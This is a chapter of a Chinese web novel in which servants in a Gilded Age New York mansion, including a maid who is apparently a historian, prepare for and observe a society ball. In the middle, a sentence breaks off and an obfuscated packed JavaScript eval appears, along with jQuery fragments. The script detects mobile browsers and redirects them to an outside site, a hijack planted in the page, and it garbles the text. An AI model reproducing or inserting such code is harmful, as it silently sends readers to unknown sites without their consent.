仆人大厅里的气氛并未放松。
长桌上已经摆好了仆人们的晚餐——一大盘切好的冷火腿、一块结实的奶酪、一篮黑面包和一壶放了很久，颜色很深的茶。这大概是今天直到深夜睡觉前，他们唯一一段能稍微喘息的时光了。
但没人能真正放松。梅布尔太太坐在主位，眉头依旧紧锁，似乎还在脑子里一遍遍过着所有流程。她拿起一片面包，又烦躁地放下。
“施耐德先生呢？”她问一个刚跑进来的小帮工。
“先生还在门口和范德比尔特家的管家说话呢，”小帮工气喘吁吁地说，“他们的马车镶着黄铜边，真亮啊！马也高大极了！”
梅布尔太太的脸色更难看了。连马车都在比较之列。
汤姆厨师从厨房端出一小罐芥末酱，重重放在桌上：“喏，给火腿添点味。要我说，梅布尔，你把神经绷得太紧了，像个过度拧紧的发条，迟早要断掉。”
“你懂什么？”梅布尔太太立刻反击，“要是出了差错，挨骂的可不是你这个躲在厨房里的厨子。你只需要管好你的炉子和汤锅就行！”
“我当然得管好，”汤姆厨师毫不示弱，“免得某些人因为忙着梳那些学不来的发型，把夫人的晚宴给忘了。”他意有所指地瞥了一眼梅布尔太太头上那个显然精心打理过，但似乎总有点不那么妥帖的发髻。
梅布尔太太的脸瞬间红了，手不自觉地抬起来想碰头发，又强行忍住：“总比某些人一辈子只知道和面团打交道强！”
安妮安静地坐在长凳上，小口吃着她的面包和火腿。冷肉有点咸，奶酪味道很重，茶也涩口，但她吃得很认真。她需要保持体力。她听着梅布尔和汤姆之间的争吵，有点习惯了。只要施耐德先生不发话，大家都保持沉默。
露西碰了碰她的胳膊，极小声音地说：“你看玛莎。”
安妮看过去。玛莎正食不知味地嚼着面包，眼睛望着暗窗发呆。那里的墙体高出地面半个窗户，所以有光招进来。不知在想些什么。
就在这时，施耐德先生走了进来。他步伐稳健，脸上看不出任何情绪，但整个仆人大厅瞬间安静了下来，连梅布尔太太和汤姆厨师都暂时休战了。
“范德比尔特家的人已经到了？”梅布尔太太急切地问。
“他们的仆从已经到了，正在安排停车和行李。”施耐德先生的声音平稳无波，他走到餐桌前端起一杯茶，“阿斯特夫人的管家也派人来确认过晚上的鲜花摆放位置了……还有个瑞克斯先生提前来了。我只好在争得夫人同意后，让对方在某间小书房喝点咖啡。”他呷了一口茶，目光扫过全场，“所有人，五点半之前必须用完餐。六点整，各就各位。今晚我不希望看到任何不必要的交谈和失误。”
晚餐在沉默中匆匆结束。女仆们开始收拾餐具，动作比平时更快。
/
下午五点，自鸣钟精确响起。
整座宅邸骤然进入了一种最后冲刺的状态。
脚步声在各个走廊和楼梯间变得密集起来。男仆们穿着笔挺的制服，开始在前厅和门廊处就位，检查最后的细节，他们的表情严肃，如同等待检阅的士兵。施耐德先生的身影出现在各个关键节点，他的目光如同探照灯，扫过每一处可能出错的角落。
安妮和露西被派去最后擦拭一遍大舞厅门框上的雕花。她们踩着凳子，小心翼翼地拂去细微的灰尘。
“我反而不紧张了，”露西小声说，聊起八卦，“听说阿斯特夫人非常严厉，她的眼神能让你结冰。”
“你把人描述成了女巫。”两人笑了笑。露西可能因为忙碌起来，反而不紧张。但安妮却多了一分紧张，这不仅仅是仆人的紧张，更是一种历史研究者踏入重要场域的兴奋感。她即将亲眼目睹这个时代顶尖的社交场。
透过舞厅敞开的双扇大门，她能看到巨大的水晶吊灯上的每一根坠饰都闪闪发光。靠墙摆放着丝绒面的椅子，等待着疲惫的舞者。壁炉里的火已经生起，跳跃的火光给这奢华的空间增添了暖意。
一切看起来都完美无瑕，像一幅华丽的画。
她从凳子上下来，和露西一起把凳子搬走。
施耐德先生正好巡视到这里。他停下脚步，灰蓝色的眼睛缓缓扫过门框、地板、水晶灯。他的目光没有在任何一个人身上停留，仿佛这一切完美都是自然而然的。
他没有说话。
然后，他转身，步伐沉稳地走向前厅方向，准备迎接第一批抵达的、真正属于这个辉煌夜晚的客人们。
安妮和露西对视一眼，都轻轻松了口气。
她们的工作暂时告一段落。
但夜晚才刚刚开始。
仆人大厅里传来梅布尔太太压着嗓子却又清晰无比的指令：“所有人！最后检查一次自己的仪容！各就各位！他们来了！”
安妮深吸一口气，整理了一下自己粗糙的围裙和帽子，跟着其他女仆，快步走向指定的位置——一条连接宴会厅和前厅的走廊阴影处。她们将像幽灵一样，随时待命，确保前厅的茶话会和之后的舞会，如同最精密的机器般顺畅运转。
外面隐约传来了马车驶近、车轮碾过碎石路的沙沙声，以及门童清晰嘹亮的通报声。
“范德比尔特先生与夫人到——！”
/
门童身着笔挺深色制服、戴着白色手套。他深吸一口气，胸膛微微鼓起，用一种经过特殊训练、足以穿透轻柔音乐与谈话声的清晰洪亮嗓音宣告：
“范德比尔特先生与夫人到——！”
厚重的橡木大门被缓缓拉开。
声音瞬间吸引了前厅内所有人的注意。原本三三两两低声交谈的客人们，几乎同时停下话语，目光齐刷刷地投向门口，脸上挂着恰到好处、训练有素的欢迎笑容。
安妮和其他几名女仆，按照事先反复排演过的位置，安静地站在走廊的阴影处，像一排沉默的背景板。但从这个角度，她恰好能将前方的一切尽收眼底。
只见贝莎·范德比尔特夫人挽着丈夫的手臂，仪态万方地走了进来。她身着一条奢华无比的雪白丝绸长裙，巨大的裙撑勾勒出流行的轮廓，裙摆上繁复的蕾丝和闪烁的珠宝刺绣，在枝形吊灯的光芒下几乎令人目眩。她微微抬着下巴，脸上带着一种新贵阶层特有的、既自信又隐约渴望被认可的笑容。
早已等候在门内的玛蒂尔达·布鲁克夫人立刻迎上前去，伊迪丝小姐和埃莉诺小姐则稍后半步，步态同样优雅。
“亲爱的贝莎！”玛蒂尔达夫人热情地伸出双手，握住范德比尔特夫人的手，目光直视着对方，声音甜美而富有感染力，“您今晚真是光彩照人！这料子，这剪裁，一定是巴黎沃斯的最新作品吧？恐怕今晚所有人的目光都要被您夺去了。”
这看似随意的恭维，实则精准地试探并肯定了对方的品味和财力——沃斯工作室是眼下欧洲最顶尖的时装屋，是贵族与富豪们竞相追逐的身份象征。
哪怕她两昨天下午茶才刚刚见过。哪怕玛蒂尔达夫人一直对范德
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417894|184715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
比尔特颇有微词，但今天她也表现的十分友善好客。
范德比尔特夫人显然很受用，笑容加深了几分：“您太过奖了，玛蒂尔达。您家的舞会，我们可是期待已久了。”她的目光快速而不易察觉地扫过玛蒂尔达夫人身上那件可能款式略保守但用料极佳、工艺无可指摘的深蓝色天鹅绒长裙，以及她佩戴的传承几代人的古董珍珠项链。
科尼利尔斯·范德比尔特先生，则由施耐德先生引入前厅。
几乎就在寒暄开始的瞬间，一名男仆便悄无声息地滑步上前。他手中的银质托盘，稳稳地放着一杯晶莹剔透的香槟。他将酒杯奉给范德比尔特先生，然后向施耐德先生微微一礼，离开退开。整个过程流畅、安静，没有一丝多余的声响。
紧接着，另一名女仆端着另一个稍小的银盘上前，上面是几只小巧的玻璃杯，里面盛着琥珀色的果汁。她将果汁分别递给范德比尔特夫人和小姐们。
又一名侍者端着堆满了鱼子酱小薄饼和松露巧克力的银盘，安静地等候在几步之外，确保客人在需要时能随时取用，又不会打扰到主人的初次寒暄。
很快，范德比尔特一家就融入了前厅的人群。与熟悉的人攀谈起来。
“摩根先生与夫人到——！”
“罗斯福议员到——！”
玛蒂尔达夫人她们将客人引入后，立马又来到门口，还是站在刚才的位置。彷佛地上画了站位点一样，精准。
门童的声音一次次响起，每一次都标志着新的重要人物的入场。前厅迅速变得热闹起来，笑语晏晏。银质托盘如同有了生命的小舟，在衣着华丽的宾客间流畅地穿梭，确保每一位客人的手中都能及时得到适宜的饮品。
安妮的目光敏锐地扫视着全场。她看到几乎所有男士都穿着标准的黑色燕尾服，配着笔挺的白色衬衫和白色领结，锃亮的皮鞋一尘不染。而女士们则无一例外地穿着露肩的低胸长裙，戴着长长的、几乎覆盖到手肘的丝绸或蕾丝手套，发髻高耸，珠宝璀璨。这是进入这个圈子的统一门票，任何一点不合时宜的穿着，都会立刻成为无声的众矢之的。
她注意到一位略显局促的年轻男子，他的领结似乎不够挺括，颜色也微微有些发暗。施耐德先生在与这位年轻人的父亲——一位看起来颇为富态的商人——握手时，笑容似乎公式化了一分。而玛蒂尔达夫人则只是对他轻轻点了点头，便迅速将热情的笑容转向了下一位更重要的客人。很快，那位年轻人便不自觉地被交谈圈挤到了靠近大型盆栽的位置。
那里还站着个谁来着，对，汤姆·瑞克斯先生。他们凑一对了。
安妮心中了然。这就是规则。体面、财富、地位，一切都在这些细微的差别中被衡量、被确认、被排序。
她的目光最终落回了埃莉诺小姐身上。当一位夫人夸赞她的裙子时，埃莉诺的微笑完美无瑕。
她穿着一条浅绿色的纱裙，显得清新却也有些单薄。她跟在姑妈身后，努力维持着得体的微笑，与每一位被介绍到的客人行礼、寒暄。但安妮能看到她眼底深处的一丝疲惫和不自在。
轻柔的音乐继续流淌，这是纽约最好的乐手的演奏。
安妮静静地站在阴影里，听着，呼吸着。她看到玛蒂尔达夫人游刃有余地周旋着，看到范德比尔特夫人试图融入核心圈子的努力，看到阿斯特夫人那不动声色却掌控一切的眼神。她也看到埃莉诺的勉强。
好像有人问：安妮，这是你想要的吗？
舞会，开始了。